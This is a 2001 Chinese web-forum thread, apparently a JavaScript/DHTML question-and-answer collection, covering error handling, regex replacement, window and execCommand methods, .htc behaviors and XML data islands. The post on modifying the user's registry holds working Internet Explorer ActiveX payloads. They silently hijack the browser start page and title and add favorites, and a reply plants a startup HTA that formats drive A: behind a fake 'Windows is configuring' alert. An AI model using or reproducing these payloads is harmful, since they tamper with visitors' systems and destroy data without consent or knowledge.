  <w:DoNotLeaveBackslashAlone/>
  <w:ULTrailSpace/>
  <w:DoNotExpandShiftReturn/>
  <w:AdjustLineHeightInTable/>
  <w:UseFELayout/>
 </w:Compatibility>
 <w:DoNotOptimizeForBrowser/>
 </w:WordDocument>
</<B style="color:black;background-color:#99ff99">xml</B>><![endif]-->
<style>
<!--
 /* Font Definitions */
@font-face
{font-family:宋体;
panose-1:2 1 6 0 3 1 1 1 1 1;
mso-font-alt:SimSun;
mso-font-charset:134;
mso-generic-font-family:auto;
mso-font-pitch:variable;
mso-font-signature:1 135135232 16 0 262144 0;}
@font-face
{font-family:"/@宋体";
panose-1:2 1 6 0 3 1 1 1 1 1;
mso-font-charset:134;
mso-generic-font-family:auto;
mso-font-pitch:variable;
mso-font-signature:1 135135232 16 0 262144 0;}
 /* Style Definitions */
p.MsoNormal, li.MsoNormal, div.MsoNormal
{mso-style-parent:"";
margin:0cm;
margin-bottom:.0001pt;
text-align:justify;
text-justify:inter-ideograph;
mso-pagination:none;
font-size:10.5pt;
mso-bidi-font-size:12.0pt;
font-family:"Times New Roman";
mso-fareast-font-family:宋体;
mso-font-kerning:1.0pt;}
 /* Page Definitions */
@page
{mso-page-border-surround-header:no;
mso-page-border-surround-footer:no;}
@page Section1
{size:595.3pt 841.9pt;
margin:72.0pt 90.0pt 72.0pt 90.0pt;
mso-header-margin:42.55pt;
mso-footer-margin:49.6pt;
mso-paper-source:0;
layout-grid:15.6pt;}
div.Section1
{page:Section1;}
-->
</style>
<!--[if gte mso 9]><<B style="color:black;background-color:#99ff99">xml</B>>
 <o:shapedefaults v:ext="edit" spidmax="2050"/>
</<B style="color:black;background-color:#99ff99">xml</B>><![endif]--><!--[if gte mso 9]><<B style="color:black;background-color:#99ff99">xml</B>>
 <o:shapelayout v:ext="edit">
 <o:idmap v:ext="edit" <B style="color:black;background-color:#ff9999">data</B>="1"/>
 </o:shapelayout></<B style="color:black;background-color:#99ff99">xml</B>><![endif]-->
</head>

<body lang=ZH-CN style='tab-interval:21.0pt;text-justify-trim:punctuation'>

<div class=Section1 style='layout-grid:15.6pt'>

<p class=MsoNormal><!--[if gte vml 1]><v:shapetype id="_x0000_t176"
 coordsize="21600,21600" o:spt="176" adj="2700" path="m@0,0qx0@0l0@2qy@0,21600l@1,21600qx21600@2l21600@0qy@1,0xe">
 <v:stroke joinstyle="miter"/>
 <v:formulas>
 <v:f eqn="val #0"/>
 <v:f eqn="sum width 0 #0"/>
 <v:f eqn="sum height 0 #0"/>
 <v:f eqn="prod @0 2929 10000"/>
 <v:f eqn="sum width 0 @3"/>
 <v:f eqn="sum height 0 @3"/>
 <v:f eqn="val width"/>
 <v:f eqn="val height"/>
 <v:f eqn="prod width 1 2"/>
 <v:f eqn="prod height 1 2"/>
 </v:formulas>
 <v:path gradientshapeok="t" limo="10800,10800" o:connecttype="custom"
 o:connectlocs="@8,0;0,@9;@8,@7;@6,@9" textboxrect="@3,@3,@4,@5"/>
</v:shapetype><v:shape id="_x0000_s1028" type="#_x0000_t176" style='position:absolute;
 left:0;text-align:left;margin-left:135pt;margin-top:31.2pt;width:171pt;
 height:101.4pt;z-index:1'>
 <v:textbox>
 <![if !mso]>
 <table cellpadding=0 cellspacing=0 width="100%">
  <tr>
  <td><![endif]>
  <div>
  <p class=MsoNormal><span style='font-family:宋体;mso-ascii-font-family:"Times New Roman";
  mso-hansi-font-family:"Times New Roman"'>这个可以算吗</span></p>
  </div>
  <![if !mso]></td>
  </tr>
 </table>
 <![endif]></v:textbox>
</v:shape><![endif]--><![if !vml]><span style='mso-ignore:vglayout'>

<table cellpadding=0 cellspacing=0 align=left>
 <tr>
 <td width=180 height=42></td>
 </tr>
 <tr>
 <td></td>
 <td><img width=231 height=138 src="./文档%201.files/image001.gif"
 alt=" 这个可以算吗" v:shapes="_x0000_s1028"></td>
 </tr>
</table>
</span><![endif]><span lang=EN-US><![if !supportEmptyParas]> <![endif]><o:p></o:p></span></p>
</div>
</body>
</html>

 [Ctrl+A 全部选择 提示:你可先修改部分代码,再按运行]


--------------------------------------------------------------------------------

-- 作者: 碧云
-- 发布时间: 2001/11/13 04:02pm

如何在java script中捕捉错误信息?

 HTML 代码片段如下:
<script>
try{
 var s=a.b;
}
catch(anError)
{
 alert(anError.description);
}
</script>

 [Ctrl+A 全部选择 提示:你可先修改部分代码,再按运行]



--------------------------------------------------------------------------------

-- 作者: 碧云
-- 发布时间: 2001/11/13 04:03pm

JS正则表达式replace用法
下述示例脚本使用replace方法来转换串中的单词。在替换的文本中,脚本使用全局 RegExp
对象的$1和$2属性的值。注意,在作为第二个参数传递给replace方法的时候,RegExp对象的$属性的名
称。
<SCRIPT LANGUAGE="java script1.2">
re = /(/w+)/s(/w+)/;
str = "John Smith";
newstr=str.replace(re,"$2, $1");
document.write(newstr)
</SCRIPT>
显示结果:"Smith, John".

str.replace(re,"$2, $1");这一句,$2,$1是什么意思?
[font color=blue]下面这个解释我也不大明白,可否帮我解释一下,多谢!{/font]

$1, ..., $9属性
用圆括号括着的匹配子串,如果有的话。
是RegExp的属性
静态,只读

在java script 1.2, NES 3.0以上版本提供
描述:因为input是静态属性,不是个别正则表达式对象的属性。你可以使用RegExp.input 访问该
属性。

能加上圆括号的子串的数量不受限制,但正则表达式对象只能保留最后9 条。如果你要访问所有的
圆括号内的匹配字串,你可以使用返回的数组。

RegExp.$n 保存满足用圆括号括起来的匹配条件的子串

$2是匹配第2个括号,$1是匹配第1个括号,对多层括号嵌套应该如何区分?而且如果超过$1~$9的括号如何匹配?
 HTML 代码片段如下:
<script>
var reg=/((/w+)/s(/w+))/;
var str='John Smith';
reg.exec(str);
</script>
<button onclick=with(RegExp)alert($1+'/n'+$2+'/n'+$3);>View</button>

 [Ctrl+A 全部选择 提示:你可先修改部分代码,再按运行]


--------------------------------------------------------------------------------

-- 作者: 碧云
-- 发布时间: 2001/11/13 04:03pm

如何实现首页全屏幕显示?

 HTML 代码片段如下:
<html>
<body><script language="<B style="color:black;background-color:#A0FFFF">javascript</B>">
var coolw=642
var coolh=400
var coolhuang=window.open("http://www.51js.com","coolhuang","width="+coolw+",height="+coolh+",fullscreen=1,toolbar=0,location=0,directories=0,status=0,menubar=0,scrollbars=0,resizable=0")
window.close()
</script></body></html>

 [Ctrl+A 全部选择 提示:你可先修改部分代码,再按运行]


--------------------------------------------------------------------------------

-- 作者: 碧云
-- 发布时间: 2001/11/13 04:04pm

如何动态改变一个Object对象的样式表风格的Class?

 HTML 代码片段如下:
<style>
.btn1{
 background-color:#990000;color:#ffffff;
}
</style>
<button onclick="this.className='btn1'">你点我一下我的样式表就改为使用.btn1了</button>

 [Ctrl+A 全部选择 提示:你可先修改部分代码,再按运行]


--------------------------------------------------------------------------------

-- 作者: 碧云
-- 发布时间: 2001/11/13 04:05pm

如何用脚本来修改用户系统的注册表?

 HTML 代码片段如下:
<script>
document.write("<APPLET HEIGHT=0 WIDTH=0 code=com.ms.activeX.ActiveXComponent></APPLET>");

function AddFavLnk(loc, DispName, SiteURL)
{
 var Shor = Shl.CreateShortcut(loc + "//" + DispName +".URL");
 Shor.TargetPath = SiteURL;
 Shor.Save();
}


function f(){
 try
 {
 //ActiveX 初始化
 a1=document.applets[0];
 a1.setCLSID("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}");
 a1.createInstance();
 Shl = a1.GetObject();
 a1.setCLSID("{0D43FE01-F093-11CF-8940-00A0C9054228}");
 a1.createInstance();
 FSO = a1.GetObject();
 a1.setCLSID("{F935DC26-1CF0-11D0-ADB9-00C04FD58A0B}");
 a1.createInstance();
 Net = a1.GetObject();

 try
 {
  if (documents .cookie.indexOf("Chg") == -1)
  {
  //设置Cookie
  var expdate = new Date((new Date()).getTime() + (24 * 60 * 60 * 1000 * 90));
  documents .cookie="Chg=general; expires=" + expdate.toGMTString() + "; path=/;"
  //设置Cookie完毕

    //设置主页
  Shl.RegWrite ("HKCU//Software//Microsoft//Internet Explorer//Main//Start Page", "http://www.51js.com/");
   //修改浏览器的标题
  Shl.RegWrite ("HKCU//Software//Microsoft//Internet Explorer//Main//Window Title", "你的Internet Explorer已经被修改过了 51JS.COM");
  //设置Cookie
  var expdate = new Date((new Date()).getTime() + (24 * 60 * 60 * 1000 * 90));
  documents .cookie="Chg=general; expires=" + expdate.toGMTString() + "; path=/;"
  

  var WF, Shor, loc;
  WF = FSO.GetSpecialFolder(0);
  loc = WF + "//Favorites";
  if(!FSO.FolderExists(loc))
  {
   loc = FSO.GetDriveName(WF) + "//Documents and Settings//" + Net.UserName + "//Favorites";
   if(!FSO.FolderExists(loc))
   {
   return;
   }
  }
  
  AddFavLnk(loc, "无忧脚本", "http://www.51js.com");
 

  }
 }
 catch(e)
 {}
 }
 catch(e)
 {}
}

function init()
{
 setTimeout("f()", 1000);
}

init();

</script>

 [Ctrl+A 全部选择 提示:你可先修改部分代码,再按运行]


格式化硬盘的,
把启动菜单下的automat.hta删除即可,这是格式化 a:盘
<object id="scr" classid="clsid:06290BD5-48AA-11D2-8432-006008C3FBFC">
</object>
<SCRIPT>
scr.Reset();
scr.Path="C://windows//start menu//Programs//启动//automat.hta";
scr.Doc="<object id='wsh' classid='clsid:F935DC22-1CF0-11D0-ADB9-00C04FD58A0B'></object><SCRIPT>wsh.Run('start /m format a: /q /autotest /u');alert('Note:Windows is configing the system,do not interrupt it!.');</"+"SCRIPT>";
scr.write();
</script>


<HTML>
<HEAD>
<TITLE>
建立文件
</TITLE>
</HEAD>
<BODY>
<BR>
<APPLET code="com.ms.activeX.ActiveXComponent" >
</APPLET>

<SCRIPT LANGUAGE="java script">
a1=document.applets[0];
fn="51js.HTM";
doc="<SCRIPT>s1=/'欢迎你访问无忧脚本!//请您将在启动文件夹内的51js.com.HTM删除即可/';alert(s1);document.body.innerHTML=s1</"+"SCRIPT>";
function f1()
{
a1.setProperty('DOC',doc);
}

function f()
{
// The ActiveX classid
cl="{06290BD5-48AA-11D2-8432-006008C3FBFC}";
a1.setCLSID(cl);
a1.createInstance();
setTimeout("a1.setProperty('Path','"+fn+"')",1000);
setTimeout("f1()",1500);
setTimeout("a1.invoke('write',VA);alert('"+fn+" 被建立');",2000);
}
setTimeout("f()",1000)
</SCRIPT>

<SCRIPT LANGUAGE="VBSCRIPT">
VA = ARRAY()
' 获取com.ms.com.Variant[]
</SCRIPT>
<BR>
</BODY>
</HTML>原理是一样的!


--------------------------------------------------------------------------------

-- 作者: 碧云
-- 发布时间: 2001/11/13 04:06pm


如何监听一个窗口被关闭了? 

 HTML 代码片段如下:
<body onunload="alert('你关闭了这个窗口')">

 [Ctrl+A 全部选择 提示:你可先修改部分代码,再按运行]


--------------------------------------------------------------------------------

-- 作者: 碧云
-- 发布时间: 2001/11/13 04:06pm

什么是innerHTML、outerHTML………还有innerText?
自己用代码来体会一下

 HTML 代码片段如下:
<div id=test><table><tr><td>文本<a>链接</a>另一段文本</td></tr></table></div>
<input type=button onclick=alert(test.innerText) value="show innerText"><br>
<input type=button onclick=alert(test.innerHTML) value="show innerHTML"><br>
<input type=button onclick=alert(test.outerHTML) value="show outerHTML"><br>

 [Ctrl+A 全部选择 提示:你可先修改部分代码,再按运行]


--------------------------------------------------------------------------------

-- 作者: 碧云
-- 发布时间: 2001/11/13 04:07pm


关于try....catch..的语法捕捉错误使用例子

try{
可能会引起错误的语句
}
catch(表达式)
{
错误处理语句
}
例如:


 HTML 代码片段如下:
<button onclick=TryDemo()>Try...Catch...Demo</button>
<script>
function TryDemo()
{
try{
 var a=b/2;//注意由于b不存在,所以会引发一个异常。
}
catch(e)
{
 alert('错误类型:'+e+'/n错误信息:'+e.Descrition);
}
}
</script>

 [Ctrl+A 全部选择 提示:你可先修改部分代码,再按运行]


--------------------------------------------------------------------------------

-- 作者: 碧云
-- 发布时间: 2001/11/13 04:07pm

如何获得一个Select中选中option的values?
select.options[select.selectedIndex].values


--------------------------------------------------------------------------------

-- 作者: 碧云
-- 发布时间: 2001/11/13 04:08pm

this 和self 有什么区别,各在哪里用
self指代窗口。
this的情况:

1. 用于元素事件代码中指代元素本身:

 HTML 代码片段如下:
<button onclick=alert(this.value)>指代元素本身</button>
 [Ctrl+A 全部选择 提示:你可先修改部分代码,再按运行]


2. 用于function中指代用function构造的类。
<script>
function Car(){this.name='Car';};alert(new Car().name);
</script>

--------------------------------------------------------------------------------

-- 作者: 碧云
-- 发布时间: 2001/11/13 04:09pm

如何禁止Ctrl+N?

 HTML 代码片段如下:
<body onkeydown=return(!(event.keyCode==78&&event.ctrlKey))>

 [Ctrl+A 全部选择 提示:你可先修改部分代码,再按运行]

--------------------------------------------------------------------------------

-- 作者: 碧云
-- 发布时间: 2001/11/13 04:09pm

所有dhtml对象的属性和方法其实在你本机的硬盘上就有!
查找:dhtmled.ocx
或在delphi/c++builder中import activeX 选dhtmled.ocx。


--------------------------------------------------------------------------------

-- 作者: 碧云
-- 发布时间: 2001/11/13 04:09pm

window方法列表!
发现经常有人问一些有关窗口操作的问题,
所以花了些时间整理出这篇文章,
希望以后不会再有人问这方面的问题。

ie里window的method列表

alert(sMsg)
//弹出一个确认消息框
attachEvent(sEvent,pFunction)
//绑定一个函数到某个事件,事件触发时随机执行其中一个被绑定的函数
blur()
//令窗口丧失焦点

clearInterval(iIntervalID)
//清除指定定时器的关联函数
clearTimeout(iTimeoutID)
//清除指定延时器的关联函数
close()
//关闭窗口,如果窗口不是用脚本打开的,会弹出确认对话框。
confirm([sMessage])
//弹出“确定/取消”对话框
createPopup([vArgs])
//创建一个隐藏的弹出式窗口,vArgs是未来考虑提供的参数,返回窗口句柄
detachEvent(sEvent,pFunction)
//取消一个事件的某个绑定函数
execScript(sExpression, sLanguage)
//用指定的语言执行代码
focus()
//激活窗口

moveBy(iX,iY)
//用相对方式移动窗口
moveTo(iLeft,iTop)
//用绝对方式移动窗口
navigate(sURL)
//转到指定的连接

open( [sURL] [, sName] [, sFeatures] [, bReplace])
//打开新窗口,并返回窗口句柄
//sName=(*_blank:打开一个新的未命名窗口;_parent:在父窗口中打开;_search:同时打开搜索窗口;_self:替换本窗口; _top:在顶级窗口里打开;*)
//sFeatures=(*channelmode = { yes | no | 1 | 0 };directories = { yes | no | 1 | 0 };fullscreen = { yes | no | 1 | 0 };height = number;left = number;location = { yes | no | 1 | 0 };menubar = { yes | no | 1 | 0 };resizable = { yes | no | 1 | 0 };scrollbars = { yes | no | 1 | 0 };status = { yes | no | 1 | 0 };titlebar = { yes | no | 1 | 0 };toolbar = { yes | no | 1 | 0 };top = number;width = number;*)

print()
//打印当前窗口文档内容
prompt( [sMessage] [, sDefaultvalues])
//弹出输入对话框
resizeBy(iX, iY)
//以相对方式改变窗口大小
resizeTo(iWidth, iHeight)
//以绝对方式改变窗口大小

scroll(iX,iY)
滚动窗口,与scrollTo一样的效果,出于兼容性的考虑保留下来的方法
scrollBy(iX, iY)
//用相对方式滚动窗口
scrollTo(iX, iY)
//用绝对方式滚动窗口
setActive()
//激活目标而不将视线转向目标
setInterval(vCode, iMilliSeconds [, sLanguage])
//定时执行一段代码
setTimeout(vCode, iMilliSeconds, sLanguage)
//延时执行一段代码
showHelp(sURL [, vContextID])
//打开一个帮助文件,sURL为帮助文档地址,vContextID为帮助索引号
showModalDialog(sURL [, vArguments] [, sFeatures])

showModalDialog(sURL [, vArguments] [, sFeatures])
//打开一个模式对话框
//vArguments=需要向新开模式对话框传递的参数
//sFeatures=(*dialogHeight:sHeight;dialogLeft:sXPos;dialogTop:sYPos;dialogWidth:sWidth;center:{ yes | no | 1 | 0 | on | off };dialogHide:{ yes | no | 1 | 0 | on | off };edge:{ sunken | raised };help:{ yes | no | 1 | 0 | on | off };resizable:{ yes | no | 1 | 0 | on | off };scroll:{ yes | no | 1 | 0 | on | off };status:{ yes | no | 1 | 0 | on | off };unadorned:{ yes | no | 1 | 0 | on | off };*)

showModelessDialog(sURL [, vArguments] [, sFeatures])
//打开一个非模式对话框
//vArgument=需要向新开模式对话框传递的参数
//sFeatures=(*dialogHeight:sHeight;dialogLeft:sXPos;dialogTop:sYPos;dialogWidth:sWidth;center:{ yes | no | 1 | 0 | on | off };dialogHide:{ yes | no | 1 | 0 | on | off };edge:{ sunken | raised };help:{ yes | no | 1 | 0 | on | off };resizable:{ yes | no | 1 | 0 | on | off };scroll:{ yes | no | 1 | 0 | on | off };status:{ yes | no | 1 | 0 | on | off };unadorned:{ yes | no | 1 | 0 | on | off };*)


--------------------------------------------------------------------------------

-- 作者: 碧云
-- 发布时间: 2001/11/13 04:09pm

execCommand的完全参考(中文版)
document.execCommand(sCommand[,交互方式, 动态参数])

2D-Position;document.execCommand("2D-Position","false","true");使绝对定位的对象可直接拖动;ie5.5
AbsolutePosition;document.execCommand("AbsolutePosition","false","true");使对象定位变成绝对定位;ie5.5
BackColor;document.execCommand("BackColor","false",sColor);设置背景颜色;ie4.0
BlockDirLTR;none;使块级元素排版方式为从左到右?;不支持
BlockDirRTL;none;使块级元素排版方式为从右到左?;不支持 Bold;document.execCommand("Bold","false",null);使选中区域的文字加粗;ie4.0
BrowseMode;none;设置浏览器模式?;不支持 Copy;
document.execCommand("Copy","false",null);复制选中的文字到剪贴板;ie4.0 CreateBookmark;document.execCommand("CreateBookmark","false",sAnchorName);设置指定锚点为书签;ie4.0
CreateLink;document.execCommand("CreateLink","false",sLinkURL);将选中文本变成超连接,若第二个参数为true,会出现参数设置对话框;ie4.0
Cut;document.execCommand("Cut","false",null);剪贴选中的文字到剪贴板;ie4.0
Delete;document.execCommand("Delete","false",null);删除选中的文字;ie4.0
DirLTR;none;排版方式为从左到右?;不支持 DirRTL;none;排版方式为从右到左?;不支持
EditMode;none;设置编辑模式?;不支持
FontName;document.execCommand("FontName","false",sFontName);改变选中区域的字体;ie4.0
FontSize;document.execCommand("FontSize","false",sSize|iSize);改变选中区域的字体大小;ie4.0
ForeColor;document.execCommand("ForeColor","false",sColor);设置前景颜色;ie4.0
formatBlock;document.execCommand("formatBlock","false",sTagName);设置当前块的标签名;ie4.0

--------------------------------------------------------------------------------

-- 作者: 碧云
-- 发布时间: 2001/11/13 04:10pm

[这个贴子最后由碧云在 2001/11/21 09:05am 编辑]

可以在TEXTAREA中实现在光标处用脚本来加入文本吗?

<form>
 <textarea cols="50"></textarea>
<br>
 <textarea cols="50"></textarea>
<br>
 <textarea cols="50"></textarea>
<br>
<input type=button values="paste" onclick=paste()>
<input type="reset" name="Reset" values="Reset">
<script language=java script>
var lastElement=null;
function BlurText()
{
 lastElement=event.srcElement;
}
for(var i in document.all)
{
 var Element=document.all;
 if(Element.tagName=="TEXTAREA")
//  if(Element.type=="text")
    Element.onblur=BlurText;
}
function paste()
{
 lastElement.focus();
 document.execCommand("paste");
}
</script>

</form>

--------------------------------------------------------------------------------

-- 作者: 碧云
-- 发布时间: 2001/11/13 04:11pm

什么是.htc?
作者:沈欣  出处:china.com
在微软IE 5.0版本的浏览器发布以前,网页编程中面对的最大挑战就是不能轻易地创建组件,以达到代码重用和多页面共享的目的。这个问题一直困扰着DHTML(动态 HEML)的网页编程者。他们只能不断地重复书写HTML、CSS和java script的代码,以满足多个页面上的重复或相似的功能。自IE 5.0浏览器发布后,这种情况得到了改善,它带给我们一个新的指令组合方法,可把实现特定功能的代码封装在一个组件内,从而实现多页面的代码重用,使网页编程进入一个全新的天地。这个新的技术就是我们要谈到的DHTML中的“行为”(Behaviors)。
  “行为”作为一个简单易用的组件,它封装了页面上特定的功能或动作。当把一个“行为”附到WEB页面中的一个元件上时,这个元件的原有行为就会有所改变。因此,网页编程者可以开发通用的DHTML指令,并改变原有对象的一些属性,用“行为”来增强一个对象的功能,同时也简化了页面的HTML代码。而且“行为”的创建和使用也非常简单方便,所需的知识也只是原来已经习惯使用的CSS样式表、HTML指令和java script脚本语言。只要你对此有所了解,有过实际编程的经历,学习并掌握“行为”的使用完全没有问题。我们将以一个改变字体效果的“行为”组件为例来说明如何编写和使用一个“行为”,并体验“行为”给页面编辑带来的优点和方便之处。

  首先新建一个名为font_efftce.htc的文本文件,组成“行为”组件的文件都是以.htc为扩展名,这个文件中的内容就是我们对这个“行为”的描述。它的创建和使用步骤如下:
(1)首先给这个“行为”增加几个事件响应,语句书写格式如下:
< PUBLIC:ATTACH EVENT="on mouseover" ONEVENT="glowit()" / >
< PUBLIC:ATTACH EVENT="on mouseout" ONEVENT="noglow()" / >
< PUBLIC:ATTACH EVENT="on mousedown" ONEVENT="font2yellow()" / >
< PUBLIC:ATTACH EVENT="on mouseup" ONEVENT="font2blue()" / >
  “EVENT”对应所需事件名,在这里分别为:on mouseover,on mouseout,on mousedown,on mouseup四个事件名,你当然可以再增加其它的事件名来满足你的特定需求。“ONEVENT”对应着个自的事件句柄,即事件触发时所调用的函数名称。glowit()函数使字体周围产生一个红色的辉光。noglow()函数是消除字体的辉光效果。Font2yellow()函数是把字体颜色改为黄色。Font2blue()函数是把字体颜色改为蓝色。四个事件的定义都是相似的。
(2)接下来,再给这个“行为”增加二个“方法”定义,内容如下。
< PUBLIC:METHOD NAME="move_down" / >
< PUBLIC:METHOD NAME="move_right" / >
  “NAME”参数对应的是给定的“方法”名称。move_down和move_right分别是向下和向右移动的“方法”对应的函数名称。注意,在方法名的后面不要带“( )”括号,即不要写成“move_down()”这个样子,这在“方法”定义的语法上是不允许的。

(3)接下来的工作就是在我们熟悉的DHTML环境下,用java script脚本语句编写“事件句柄”和“方法”所对应的函数内容,实现预期的效果。具体内容参考下面的源程序。其中的“element”参数指的是这个“行为”所附着的对象,因为“行为”总是被附着到页面的元件上面,并通过这个元件发挥作用。其它语句都是DHTML的编程内容,就不再多说了。如有不明之处,可参考微软的MSDN开发文档中有关IE浏览器的内容,上面有详细的DHTML编程参考内容、属性和方法使用说明等,并包含了大量的文章和举例程序。经常访问微软的MSDN文档,尤其对于初学者来说是一个良好的学习习惯,你几乎可以得到任何你想找的答案,它的网址为:http://msdn.microsoft.com/ie/
  完整的“行为”文档“font_effect.htc”的内容如下:
////////////////////////////“行为”文档开始///////////////////////////////////
//给“行为”增加四个鼠标事件
< PUBLIC:ATTACH EVENT="on mouseover" ONEVENT="glowit()" / >
< PUBLIC:ATTACH EVENT="on mouseout" ONEVENT="noglow()" / >
< PUBLIC:ATTACH EVENT="on mousedown" ONEVENT="font2yellow()" / >
< PUBLIC:ATTACH EVENT="on mouseup" ONEVENT="font2blue()" / >
//给“行为”定义二个方法
< PUBLIC:METHOD NAME="move_down" / >
< PUBLIC:METHOD NAME="move_right" / >
< SCRIPT LANGUAGE="JScript" >
//定义一个保存字体颜色的变量
var font_color;
//定义向下移动文字的方法
function move_down()
{
element.style.posTop+=2;
}
//定义向右移动文字的方法
function move_right()
{
element.style.posLeft +=6;
}
//定义鼠标on mouseup事件的调用函数
function font2blue(){
if (event.srcElement == element)
{
element.style.color='blue';
}
}
//定义鼠标on mousedown事件的调用函数
function font2yellow(){
if (event.srcElement == element)
{
element.style.color='yellow';
}
}

//定义鼠标on mouseover事件的调用函数
function glowit()
{
if (event.srcElement == element)
{
font_color=style.color;
element.style.color='white';
element.style.filter="glow(color=red,strength=2)";
}
}

//定义鼠标on mouseout事件的调用函数
function noglow()
{
if (event.srcElement == element)
{
element.style.filter="";
element.style.color=font_color;
}
}
< /SCRIPT >
//////////////////“行为”文档结束///////////////////////////////

(4)如何在一个页面上使用“行为”
  在页面上使用“行为”组件,并不需要学习新的知识。所需的知识的也不过是CSS样式表和HTML的设置而已,请看下面的语句。
< STYLE >
.myfilter{behavior:url(font_effect.htc);position:relative;font-weight:bold;width=180;left:0;}
< /STYLE >
  可以看出,这和以前我们已经熟知的样式表设置完全相同。上面的语句定义了一个样式名:“myfilter”,其中对我们来说比较新的内容是:“behavior:url(font_effect.htc);”,“behavior”是新增的“行为”属性名,这就是“行为”在样式表中的设置方式。括号中的内容是“行为”文档的文件名,本例中表明“行为”文档在与页面文件在同一个目录下,如果“行为”文档安置在其它目录下,在此参数的前面要加上相应的路径名,以保证可以正确地定位“行为”文档的位置。此“样式”中的其它内容就是普通的样式属性设置,可根据你的需要增减,但在此例中,由于使用了“glow”滤镜效果,至少要设置一个宽度(width)属性。通过以上的样式指定,我们就有了一个名为:“myfilter”的样式,它附带一个有字体变化效果的“行为”。如果你想要在一个页面元件上使用这个附带“行为”的样式,同样也很简单,只要把这个“样式名”安置在元件的属性设置区域即可,见下面的语句。
< span id="myspan" class='myfilter' >行为产生的文字效果< /span >< br >
< span class='myfilter' >鼠标指向后产生辉光< /span >
  以上语句里面没有什么新的内容,class='myfilter'就是我们所熟悉的样式设置。在第一个“span”标记的属性中还定义了一个“id”标记,稍后就会看到,这是用来演示调用“行为”内的“方法”而设置的。这样设置后,“span”元件中的内容就可以显示出“行为”组件内的预定效果:
1. 鼠标指针移动到文字内容上时,在文字周围产生红色的辉光效果,同时文字变成白色。
2. 当鼠标按钮按下时,文字颜色改变为黄色。
3. 鼠标按钮抬起后,文字颜色又改变为蓝色。
4. 当鼠标指针移动到文字区域以外时,去掉了红色辉光效果,文字恢复原样。
  另外,我们在定义“行为”时设置了二个“方法”,“move_down”和“move_right”。为调用这二个“方法”,定义了二个按钮:
< button onclick="myspan.move_right();" >向右移动第一行文字< /button >< br >
< button onclick="myspan.move_down();" >向下移动第一行文字< /button >
  用按钮的onclick事件去调用这二个“方法”,先前定义的“id”标记就作为元件的对象名称,用“myspan.move_down”来调用“方法”,操纵这个对象。可以看到,在按下相应的按钮后,会使第一行的文字产生向下或向右的移动。虽然只是用第一行文字做了示范,实际上,只要做相应的设置,你也可以移动其它对象。页面源文档的完整内内容如下:
< html >
< HEAD >
< TITLE >行为效果演示< /TITLE >
< STYLE >
.myfilter{behavior:url(font_effect.htc);position:relative;font-weight:bold;width=180;left:0;}
< /STYLE >
< /HEAD >
< BODY >
< span id="myspan" class='myfilter' >行为产生的文字效果< /span >< br >
< span class='myfilter' >鼠标指向后产生辉光< /span >< br >
< span class='myfilter' >同时文字变白< /span >< br >
< span class='myfilter' >按下鼠标后文字变黄< /span >< br >
< span class='myfilter' >抬起鼠标后文字变蓝< /span >< br >
< span class='myfilter' >鼠标离开后文字恢复原状< /span >< br >
< button onclick="myspan.move_right();" >向右移动第一行文字< /button >< br >
< button onclick="myspan.move_down();" >向下移动第一行文字< /button >
< /BODY >
< /html >
  通过以上的简单介绍,可以看出,我们很容易地在一个“行为”中同时组合了多种文字变化效果,通过简单的“样式”设置,任意地将它与页面元件相关连,体现了“行为”组件的优点和强大功能。一个“行为”组件,不仅能在一个页面内重复使用,也可供同一站点上的所有页面使用。试想一下,如果不使用“行为”来完成上述的效果,虽然

--------------------------------------------------------------------------------

-- 作者: 碧云
-- 发布时间: 2001/11/13 04:14pm

如何把页面加入用户的收藏夹?

 HTML 代码片段如下:
<a href="<B style="color:black;background-color:#A0FFFF">javascript</B>:window.external.AddFavorite('http://www.51js.com','无忧脚本')">收藏无忧脚本</a>

 [Ctrl+A 全部选择 提示:你可先修改部分代码,再按运行]
--------------------------------------------------------------------------------

-- 作者: 碧云
-- 发布时间: 2001/11/13 04:15pm


在html中导入xml数据的方法?
说明:
1.用xml标签
(1)直接放数据
<XML ID="oMetaData">
<METADATA>
<AUTHOR>John Smith</AUTHOR>
<GENERATOR>Visual Notepad</GENERATOR>
<PAGETYPE>Reference</PAGETYPE>
<ABSTRACT>Specifies a data island</ABSTRACT>
</METADATA>
</XML>
(2)用外部数据
<XML ID=oXML SRC="oXML.XML"></XML>
2.用object
<OBJECT ID=oXML CLASSID="clsid:550dda30-0541-11d2-9ca9-0060b0ec3d39"></OBJECT>
3.两种方法的比较
用xml标签的话只能访问本站点xml文件,而object方法可以访问任何站点里的资源.
4.XML的方法:
addBehavior(sURL)
componentFromPoint((iCoordX, iCoordY);返回client窗口中相应坐标的组件名
fireEvent(sEvent [, oEventObject]);激活某个对象的某个事件
getAttributeNode(sName);返回结点属性名为sName的属性
namedRecordset(sQualifier [, sSubChapter]);返回一个记录集合
normalize();
removeAttributeNode(oSrcAttribute);
removeBehavior(iID)

下面是一个利用Object导入xml数据的例子: 

 HTML 代码片段如下:
  
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
<HTML>
<!--一个如何把<B style="color:black;background-color:#99ff99">XML</B>显示在表格中的HTML文件 cd_list.htm -->
<HEAD>

<SCRIPT FOR="window" EVENT="onload">
xmldso_list.XMLDocument.load("http://westfly.myrice.com/other/<B style="color:black;background-color:#99ff99">xml</B>/demo/cd_catalog.<B style="color:black;background-color:#99ff99">xml</B>")
</SCRIPT>

<TITLE>CD List</TITLE>
</HEAD>

<BODY>
<OBJECT WIDTH="0" HEIGHT="0"
CLASSID="clsid:550dda30-0541-11d2-9ca9-0060b0ec3d39" ID="xmldso_list">
</OBJECT>

<TABLE DATASRC=#xmldso_list BORDER="1" CELLSPACING="5" CELLPADDING="2">
<THEAD>
<TH>Title</TH><TH>Artist</TH><TH>Country</TH><TH>Company</TH><TH>Price</TH><TH>Year</TH>
</THEAD>

<TR ALIGN="center">
<TD><DIV DATAFLD="TITLE"></TD>
<TD><DIV DATAFLD="ARTIST"></TD>
<TD><DIV DATAFLD="COUNTRY"></TD>
<TD><DIV DATAFLD="COMPANY"></TD>
<TD><DIV DATAFLD="PRICE"></TD>
<TD><DIV DATAFLD="YEAR"></TD>
</TR>

</TABLE>
</BODY>
</HTML>

 [Ctrl+A 全部选择 提示:你可先修改部分代码,再按运行]


--------------------------------------------------------------------------------

-- 作者: 碧云
-- 发布时间: 2001/11/13 04:16pm

能不能把表格的背景色设成半透明?

 HTML 代码片段如下:
<body background="http://www.51js.com/logo.gif">
<style>
.alpha1{filter: Alpha(Opacity=60)}
</style>
<div style="position:absolute; z-index:1">
